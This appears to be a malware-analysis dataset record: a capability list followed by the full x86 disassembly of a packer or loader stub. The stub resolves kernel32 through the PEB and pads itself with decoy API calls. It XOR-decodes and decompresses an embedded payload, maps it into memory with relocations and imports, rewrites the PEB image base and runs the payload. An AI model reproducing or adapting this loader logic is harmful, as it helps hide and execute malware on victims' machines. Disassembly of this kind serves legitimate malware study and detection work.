Function at 0x35108c
Capabilities:
Access peb ldr_data
Compress data via winapi
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1c], eax
pop eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x2c], eax
jmp 0x3510c2
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x351030
call dword [sym.imp.GDI32.dll_CreateDCA]
push ebx
push 0x141
mov edi, eax
push 2
push edi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
lea eax, [ebp - 0x40]
push eax
push edi
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x351112
push 4
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
add dword [ebp - 0x40], 0xa
cmp dword [ebp - 0x40], 0x1f4
jge 0x35133b
mov eax, dword [ebp - 0x40]
add eax, 0xfffffffe
jne 0x3510f0
push 0x351038
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x351048
mov edi, eax
push esi
mov dword [ebp - 0x18], edi
call edi
mov dword [ebp - 0x38], eax
jmp 0x351142
push 0x351058
push esi
call edi
mov dword [ebp - 0x14], eax
jmp 0x351159
push 0x351068
push dword [ebp - 0x2c]
call edi
push 0x35107c
push esi
mov dword [ebp - 0x2c], eax
call edi
cmp dword [ebp - 0x14], ebx
je 0x35133b
cmp dword [ebp - 0x2c], ebx
je 0x35133b
jmp 0x35118c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [eax + 0x3c]
add ebx, eax
movzx ecx, word [ebx + 6]
imul ecx, ecx, 0x28
lea ecx, [ecx + ebx + 0xa8]
mov edx, dword [ecx + 0xc]
add edx, dword [ebx + 0x3c]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebx + 0x3c]
add edx, eax
mov esi, dword [edx]
add esi, eax
push 5
mov dword [ebp - 0x28], esi
lea esi, [ecx + eax + 8]
pop ecx
push 4
push 0x3000
mov dword [ebp - 0x34], eax
lea edi, [ebp - 0x54]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [edx + 4]
push 0xe
mov dword [ebp - 0x24], edx
pop esi
mov eax, ecx
xor edx, edx
div esi
imul eax, eax, 0xc
lea eax, [eax + ecx + 0x1000]
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x35133b
mov esi, dword [ebp - 0x24]
mov eax, dword [esi + 4]
push 7
pop edi
shr eax, 1
xor edx, edx
mov ecx, edi
div ecx
and dword [ebp - 0x10], 0
mov dword [ebp - 8], edi
mov ecx, eax
test ecx, ecx
je 0x351267
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x28]
sub edx, eax
add edi, edx
mov dword [ebp - 0x20], 7
mov dl, byte [edi + eax]
mov byte [eax], dl
inc eax
dec dword [ebp - 0x20]
jne 0x35123a
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
dec dword [ebp - 8]
lea eax, [eax + edx + 7]
mov dword [ebp - 0x10], eax
jne 0x35125e
mov dword [ebp - 8], 7
add dword [ebp - 0x1c], 7
dec dword [ebp - 0x24]
jne 0x351226
mov eax, dword [esi + 4]
push 7
shr eax, 1
xor edx, edx
pop edi
div edi
test edx, edx
je 0x351294
mov eax, dword [ebp - 0x10]
imul ecx, ecx, 7
add ecx, dword [ebp - 0xc]
add eax, dword [ebp - 0x28]
test edx, edx
je 0x351294
mov edi, eax
sub edi, ecx
mov al, byte [edi + ecx]
mov byte [ecx], al
inc ecx
dec edx
jne 0x35128b
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0xc]
add eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 0x34]
lea edi, [eax + ecx + 0x1c]
mov ecx, dword [esi + 4]
mov eax, ecx
and ecx, 1
shr eax, 1
add eax, ecx
push 7
pop ecx
xor edx, edx
div ecx
push 0
pop ecx
mov dword [ebp - 8], 5
inc eax
je 0x351306
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], eax
mov eax, dword [esi + 4]
shr eax, 1
add eax, dword [ebp - 0x1c]
lea edx, [ecx + edi]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], 7
mov bl, byte [edx]
mov byte [eax], bl
inc eax
inc edx
dec dword [ebp - 0x28]
jne 0x3512df
mov eax, dword [ebp - 8]
dec dword [ebp - 8]
lea ecx, [ecx + eax + 7]
jne 0x3512fd
mov dword [ebp - 8], 5
add dword [ebp - 0x1c], 7
dec dword [ebp - 0x24]
jne 0x3512ca
jmp 0x351312
mov eax, dword [esi + 4]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x14]
mov edi, eax
cmp edi, ebx
jne 0x351345
push ebx
push ebx
push ebx
push dword [ebp - 0x38]
call dword [sym.imp.Cabinet.dll_FCIFlushCabinet]
add esp, 0x10
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
ret 0x10
xor ecx, ecx
xor edx, edx
cmp dword [esi + 4], ebx
jbe 0x351366
mov bl, byte [ebp + ecx - 0x54]
mov eax, dword [ebp - 0xc]
xor byte [eax + edx], bl
inc ecx
cmp ecx, 0x13
jbe 0x351360
xor ecx, ecx
inc edx
cmp edx, dword [esi + 4]
jb 0x35134e
push eax
mov eax, dword [section..data]
pop eax
mov esi, dword [esi + 4]
lea eax, [ebp - 4]
push eax
push esi
imul esi, esi, 0xf
push dword [ebp - 0xc]
push esi
push edi
push 2
call dword [ebp - 0x2c]
jmp 0x35138e
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x35133b
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x28], ebx
jne 0x35133d
cmp dword [ebx + 0xa0], eax
jne 0x3513b5
mov eax, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x10
push ecx
push eax
call dword [ebp - 0x14]
mov esi, eax
test esi, esi
je 0x35133b
jmp 0x3513dd
jmp 0x3513e9
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push 0
pop ecx
je 0x3513ff
mov dl, byte [ecx + edi]
mov byte [ecx + esi], dl
inc ecx
cmp ecx, eax
jb 0x3513f4
and dword [ebp - 0x14], 0
xor eax, eax
cmp ax, word [ebx + 6]
jae 0x35144a
and dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 0x1c]
lea eax, [eax + edi + 0xf8]
mov edx, dword [eax + 0x10]
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
add ecx, esi
add eax, edi
test edx, edx
je 0x35143a
mov dword [ebp - 0x2c], edx
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 0x2c]
jne 0x35142f
movzx eax, word [ebx + 6]
inc dword [ebp - 0x14]
add dword [ebp - 0x1c], 0x28
cmp dword [ebp - 0x14], eax
jb 0x35140e
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0x34], eax
je 0x3514c3
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x3514c3
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x3514b9
mov ecx, dword [eax + 4]
and dword [ebp - 0x1c], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x3514b6
mov ecx, dword [ebp - 0x14]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x3514a2
mov edx, dword [ebp - 0x34]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 0x1c]
add dword [ebp - 0x14], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 0x1c], ecx
jb 0x35147c
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x14], ecx
cmp eax, ebx
jb 0x35146a
mov ecx, dword [ebp - 0x28]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x351573
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x35133b
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 0x1c], edx
jne 0x351522
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x35150f
and ecx, 0xffff
jmp 0x351514
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x18]
cmp dword [ebx], eax
je 0x351564
mov eax, dword [edi]
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
add ebx, esi
jmp 0x35155f
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x351539
and eax, 0xffff
jmp 0x35153e
add eax, esi
add eax, 2
push eax
push dword [ebp - 0x2c]
call dword [ebp - 0x18]
mov dword [ebx], eax
test eax, eax
je 0x35133b
mov edx, dword [ebx]
mov ecx, dword [edi + 0x10]
mov eax, ebx
sub eax, dword [ebp - 0x1c]
add ebx, 4
mov dword [eax + ecx], edx
cmp dword [ebx], 0
jne 0x351529
add edi, 0x14
cmp dword [edi], 0
jne 0x3514d7
mov ecx, dword [ebp - 0x28]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x2c], eax
pop eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x38], eax
call dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]